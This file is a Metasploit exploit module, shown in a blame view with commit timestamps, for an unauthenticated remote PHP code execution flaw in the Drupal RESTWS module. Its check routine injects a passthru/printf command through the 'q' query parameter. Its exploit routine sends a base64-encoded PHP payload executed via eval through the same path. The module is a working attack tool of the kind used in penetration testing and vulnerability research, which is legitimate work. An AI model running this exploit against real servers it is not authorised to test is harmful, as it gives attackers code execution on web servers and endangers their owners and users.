Files
metasploit-gs/modules/exploits/unix/webapp/drupal_restws_exec.rb
T

87 lines
2.5 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
2016-07-20 13:49:23 -05:00
'Name' => 'Drupal RESTWS Module Remote PHP Code Execution',
'Description' => %q{
2016-08-15 00:58:07 -05:00
This module exploits a Remote PHP Code Execution vulnerability in the
2016-07-20 00:01:25 +03:00
Drupal RESTWS Module. Unauthenticated users can execute arbitrary code
under the context of the web server user.
RESTWS alters the default page callbacks for entities to provide
additional functionality. A vulnerability in this approach allows
an unauthenticated attacker to send specially crafted requests resulting
2016-07-20 00:01:25 +03:00
in arbitrary PHP execution. RESTWS 2.x prior to 2.6 and 1.x prior to 1.7
2016-08-15 00:58:07 -05:00
are affected by this issue.
2016-08-15 00:58:07 -05:00
This module was tested against RESTWS 2.5 with Drupal 7.5 installed on
Ubuntu Server.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Devin Zuczek', # discovery
'Mehmet Ince <mehmet@mehmetince.net>' # msf module
],
'References' =>
[
['URL', 'https://www.drupal.org/node/2765567']
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [ ['Automatic', {}] ],
'DisclosureDate' => 'Jul 13 2016',
'DefaultTarget' => 0
))
register_options(
[
2016-07-20 13:49:23 -05:00
OptString.new('TARGETURI', [true, 'The target URI of the Drupal installation', '/'])
2016-07-20 00:01:25 +03:00
]
)
end
def check
r = rand_text_alpha(8 + rand(4))
2016-08-15 00:58:07 -05:00
res = send_request_cgi(
'method' => 'GET',
2016-07-20 13:49:23 -05:00
'uri' => normalize_uri(target_uri.path, 'index.php'),
2016-07-19 20:12:14 +03:00
'vars_get' => {
2016-07-21 00:09:19 -05:00
'q' => "taxonomy_vocabulary//passthru/printf '#{Rex::Text.to_octal(r)}'"
2016-07-19 20:12:14 +03:00
}
)
2016-08-15 00:58:07 -05:00
2016-07-20 00:01:25 +03:00
if res && res.body.include?(r)
2016-07-20 21:27:51 +03:00
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end
def exploit
2016-07-19 20:12:14 +03:00
cmd = "php -r 'eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));'"
2016-08-15 00:58:07 -05:00
send_request_cgi(
'method' => 'GET',
2016-07-20 13:49:23 -05:00
'uri' => normalize_uri(target_uri.path, 'index.php'),
2016-07-19 20:12:14 +03:00
'vars_get' => {
2016-07-20 20:50:10 +03:00
'q' => "taxonomy_vocabulary//passthru/#{cmd}"
2016-07-19 20:12:14 +03:00
}
)
end
end